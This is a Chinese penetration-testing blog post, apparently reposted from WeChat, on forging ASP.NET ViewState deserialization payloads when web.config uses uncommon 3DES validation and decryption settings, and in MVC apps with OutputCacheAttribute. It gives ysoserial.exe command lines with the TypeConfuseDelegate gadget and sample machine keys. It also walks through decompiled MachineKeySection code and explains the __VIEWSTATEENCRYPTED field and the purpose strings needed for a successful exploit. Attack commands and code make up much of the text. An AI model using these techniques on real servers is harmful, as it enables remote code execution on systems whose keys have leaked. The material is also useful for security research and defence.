ViewState反序列化-不常见加密组合

admin 2024年9月10日22:44:29评论95 views字数 7541阅读25分8秒阅读模式

0x00 简介

在我们日常渗透活动中,在Web.config或者使用反射会见到几个常见的词: validationalgdecryptionalgvalidationkeydecryptionkey。其中validation是签名算法,decryption为加密解密算法,也就是说如果没有配置decryption那么其实我们的payload发送是明文发送的。

比如使用如下没有配置加密算法的生成

由于我们探究的是.net4框架下的生成,需要指定 generator,如果是指定apppath和path不加参数islegacy则默认是4.5的算法。

  1. ysoserial.exe -p ViewState-g TypeConfuseDelegate-c "echo 123 > c:programdatatest.txt"--generator="D4124C05"--validationalg="HMACSHA256"--validationkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF"

ViewState反序列化-不常见加密组合

配置加密算法的生成

  1. ysoserial.exe -p ViewState-g TypeConfuseDelegate-c "echo 123 > c:programdatatest.txt"--generator="D4124C05"-decryptionalg="AES"--decryptionkey="2F8F788904412A1CE0FA5820E17F71493BF081E5FA99DCF8A49F203571B71874"--validationalg="HMACSHA256"--validationkey="DF76158EEDECBF6F84AA076534AB09CE31F022096F45B043C135D4BAB93C16B8"--isencrypted

ViewState反序列化-不常见加密组合

根据日常使用,比如 .net4框架以下我们基本上遇到的都是 validationalg的类型为 HMACSHA256SHA1 然后没有 decryptionalg ,很容易就能反序列化。

0x01 特殊环境

1.1 失败测试

这篇文章讲到Net 反序列化之 ViewState 利用

经过上面长篇大论的贴代码、分析。我们已经大致明白了ASP.NET 生成和解析ViewState 的流程。这有助帮助我们理解如何伪造 ViewState。当然了伪造 ViewState 仍然需要 泄露web.config,知晓其 密钥与算法。

  1. 如果签名算法不是AES/3DES,无论是否开启加密功能,我们只需要根据其签名算法和密钥,生成一个签名的ViewState。由于发送该ViewState的时候没有使用"__VIEWSTATEENCRYPTED" 字段,导致ASP.NET 在解析时直接进入GetDecodedData() 进行签名校验,而不再执行解密步骤。

  2. 如果签名算法是 AES/3DES,无论是否开启加密功能,我们只需按照先前所讲,对数据先签名一次,再加密一次,再签名一次。 然后发送给服务端,ASP.NET 进入 GetDecodedData(),然后先进 EncryptOrDecryptData() 进行一次校验和解密,出来后再进行一次校验。 换种表达方式,无论使用什么签名算法,无论是否开启加密功能,我们伪造ViewState时,就按照没有开启加密功能情况下的正常步骤,去伪造ViewState。

假如我们的环境是3DES我们如何才能成功反序列化呢,这个环境网上基本没有人提过。

  1. <?xml version="1.0" encoding="UTF-8"?>

  2. <configuration>

  3. <system.web>

  4. <customErrorsmode="Off"/>

  5. <machineKeyvalidation="3DES"validationKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF"decryption="3DES"decryptionKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF"

  6. />

  7. <pagesenableViewStateMac="true"/>

  8. </system.web>

  9. </configuration>

先看 GetDecodeData 源码

  1. [Obsolete(OBSOLETE_CRYPTO_API_MESSAGE)]

  2. internalstaticbyte[]GetDecodedData(byte[] buf,byte[] modifier,int start,int length,refint dataLength)

  3. {

  4. EnsureConfig();

  5. if(s_config.Validation==MachineKeyValidation.TripleDES|| s_config.Validation==MachineKeyValidation.AES){

  6. buf =EncryptOrDecryptData(false, buf, modifier, start, length,true);

  7. if(buf ==null|| buf.Length<_HashSize)

  8. thrownewHttpException(SR.GetString(SR.Unable_to_validate_data));

  9. length = buf.Length;

  10. start =0;

  11. }

  12. if(length <_HashSize|| start <0|| start >= length)

  13. thrownewHttpException(SR.GetString(SR.Unable_to_validate_data));

  14. byte[] bHash =HashData(buf, modifier, start, length -_HashSize);

  15. for(int iter =0; iter < bHash.Length; iter++)

  16. if(bHash[iter]!= buf[start + length -_HashSize+ iter])

  17. thrownewHttpException(SR.GetString(SR.Unable_to_validate_data));

  18. dataLength = length -_HashSize;

  19. return buf;

  20. }

如果 Web.config 中指定的 Validation是3DES或AES那么payload始终是加密的。

再看 GetEncodeData 源码

  1. [Obsolete(OBSOLETE_CRYPTO_API_MESSAGE)]

  2. internalstaticbyte[]GetEncodedData(byte[] buf,byte[] modifier,int start,refint length)

  3. {

  4. EnsureConfig();

  5. byte[] bHash =HashData(buf, modifier, start, length);

  6. byte[] returnBuffer;

  7. if(buf.Length- start - length >= bHash.Length)

  8. {

  9. // Append hash to end of buffer if there's space

  10. Buffer.BlockCopy(bHash,0, buf, start + length, bHash.Length);

  11. returnBuffer = buf;

  12. }

  13. else

  14. {

  15. returnBuffer =newbyte[length + bHash.Length];

  16. Buffer.BlockCopy(buf, start, returnBuffer,0, length);

  17. Buffer.BlockCopy(bHash,0, returnBuffer, length, bHash.Length);

  18. start =0;

  19. }

  20. length += bHash.Length;

  21. if(s_config.Validation==MachineKeyValidation.TripleDES|| s_config.Validation==MachineKeyValidation.AES){

  22. returnBuffer =EncryptOrDecryptData(true, returnBuffer, modifier, start, length,true);

  23. length = returnBuffer.Length;

  24. }

  25. return returnBuffer;

  26. }

先加HMAC再加密,综上的出来的结论就是直接调用 GetEncodeData 即可得到正确的值,那么我们来看 ysoserial.net的代码

  1. if(!isEncrypted)

  2. {

  3. var getterGetEncodedData =typeof(MachineKeySection).GetMethod("GetEncodedData",BindingFlags.Static|BindingFlags.NonPublic);

  4. byteResult =(byte[])getterGetEncodedData.Invoke(null,newobject[]{ payload, _macKeyBytes,0, payload.Length});

  5. }

  6. else

  7. {

  8. var getterEncryptOrDecryptData =typeof(MachineKeySection).GetMethod("EncryptOrDecryptData",BindingFlags.Static|BindingFlags.NonPublic,null,

  9. newType[]{typeof(bool),typeof(byte[]),typeof(byte[]),typeof(int),typeof(int)},null);

  10. byteResult =(byte[])getterEncryptOrDecryptData.Invoke(null,newobject[]{true, payload, _macKeyBytes,0, payload.Length});

  11. }

默认 isEncrypted是false,也就是默认走的 GetEncodedData,那么用命令生成一下

  1. ysoserial.exe -p ViewState-g TypeConfuseDelegate-c "echo 123 > c:programdatatest.txt"--generator="D4124C05"--validationalg="3DES"--validationkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF"-decryptionalg="3DES"--decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF"

ViewState反序列化-不常见加密组合

并没有反序列化成功,我们dnspy附加进程看看怎么回事。

ViewState反序列化-不常见加密组合

buf=MachineKeySection.EncryptOrDecryptData(false,buf,modifier,start,length,true); 这一步解密失败了。

1.2 成功测试

在请教多人后,还是失败,最后我测试出这种方式,成功反序列化,我们看到反序列化中有2条路

  1. if(!isEncrypted)

  2. {

  3. var getterGetEncodedData =typeof(MachineKeySection).GetMethod("GetEncodedData",BindingFlags.Static|BindingFlags.NonPublic);

  4. byteResult =(byte[])getterGetEncodedData.Invoke(null,newobject[]{ payload, _macKeyBytes,0, payload.Length});

  5. }

  6. else

  7. {

  8. var getterEncryptOrDecryptData =typeof(MachineKeySection).GetMethod("EncryptOrDecryptData",BindingFlags.Static|BindingFlags.NonPublic,null,

  9. newType[]{typeof(bool),typeof(byte[]),typeof(byte[]),typeof(int),typeof(int)},null);

  10. byteResult =(byte[])getterEncryptOrDecryptData.Invoke(null,newobject[]{true, payload, _macKeyBytes,0, payload.Length});

  11. }

如果我们使用 EncryptOrDecryptData 这条路呢

  1. ysoserial.exe -p ViewState-g TypeConfuseDelegate-c "echo 123 > c:programdatatest.txt"--generator="D4124C05"--validationalg="3DES"--validationkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF"-decryptionalg="3DES"--decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF"--isencrypted

通过源码可以看到 this.ContainsEncryptedViewState=true; 即可进入该分支

ViewState反序列化-不常见加密组合

  1. if(this._requestValueCollection["__VIEWSTATEENCRYPTED"]!=null)

  2. {

  3. this.ContainsEncryptedViewState=true;

  4. }

也就是请求 __VIEWSTATEENCRYPTED不为空

ViewState反序列化-不常见加密组合

1.3 失败原因

当初很懒没有想过为什么会失败,正好最近瞄了一眼

ViewState反序列化-不常见加密组合

我们Debug ysoserial.net看看,原来我们没有制定isEncrypted的话他默认是对Decryption是没有值去赋,所以源码我们删掉这个即可。本身代码是没问题的,只是ys判断这里有点问题。

ViewState反序列化-不常见加密组合

0x02 MVC下的Viewstate

MVC架构下,默认情况下MVC并不支持解析 Viewstate ,但在开启 OutputCacheAttribute 后会主动解析 Viewstate 的值。这里不谈论4.5以下的架构,因为感觉基本遇不到,path为 / 即可,但是需要直接修改ys的源码,直接命令行传入他组合的值是不正确的。在4.5以上我们需要指定Apppath和Path,这里基本就是探究如何找到这2个值,最快的方法就是直接Debug附加IIS进程

开启 OutputCacheAttribute

  1. publicclassFilterConfig

  2. {

  3. publicstaticvoidRegisterGlobalFilters(GlobalFilterCollection filters)

  4. {

  5. filters.Add(newHandleErrorAttribute());

  6. filters.Add(newOutputCacheAttribute

  7. {

  8. Duration=0,

  9. NoStore=true,

  10. });

  11. }

  12. }

查看ys生成源码,发现具体的值指定在specificPurposes

  1. privateobject generateViewState_4dot5(string targetPagePath,stringIISAppInPath,string viewStateUserKey,byte[] payload)

  2. {

  3. var purposeType = systemWebAsm.GetType("System.Web.Security.Cryptography.Purpose");

  4. object[] parameters =newobject[2];

  5. string mainPurpose ="WebForms.HiddenFieldPageStatePersister.ClientState";

  6. // list of useful main purposes:

  7. // for "__VIEWSTATE": "WebForms.HiddenFieldPageStatePersister.ClientState"

  8. // for "__EVENTVALIDATION": "WebForms.ClientScriptManager.EventValidation"

  9. // for P2 in P1|P2 in "__dv" + ClientID + "__hidden": "WebForms.DetailsView.KeyTable"

  10. // for P4 in P1|P2|P3|P4 in "__CALLBACKPARAM": "WebForms.DetailsView.KeyTable"

  11. // for P3 in P1|P2|P3|P4 in "__gv" + ClientID + "__hidden": "WebForms.GridView.SortExpression"

  12. // for P4 in P1|P2|P3|P4 in "__gv" + ClientID + "__hidden": "WebForms.GridView.DataKeys"

  13. parameters[0]= mainPurpose;

  14. // This is where the path is important

  15. string[] specificPurposes =newString[]{

  16. "TemplateSourceDirectory: "+ simulateTemplateSourceDirectory(targetPagePath).ToUpperInvariant(),

  17. "Type: "+ simulateGetTypeName(targetPagePath,IISAppInPath).ToUpperInvariant()

  18. };

可以看到这两个值为

  1. string[] specificPurposes =newString[]{

  2. "TemplateSourceDirectory: ",

  3. "Type: OUTPUTCACHEDPAGE"

  4. };

ViewState反序列化-不常见加密组合

测试成功

ViewState反序列化-不常见加密组合

这里很让人抓狂的是,我最开始的思路就是这样,但是死活测试不成功。请教草老师后给我的payload也是如此生成,但是我还是没成功。最后我换了个环境就成功了,并且老环境也可以了。

原文始发于微信公众号(404安全):ViewState反序列化-不常见加密组合

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月10日22:44:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ViewState反序列化-不常见加密组合https://cn-sec.com/archives/3150896.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息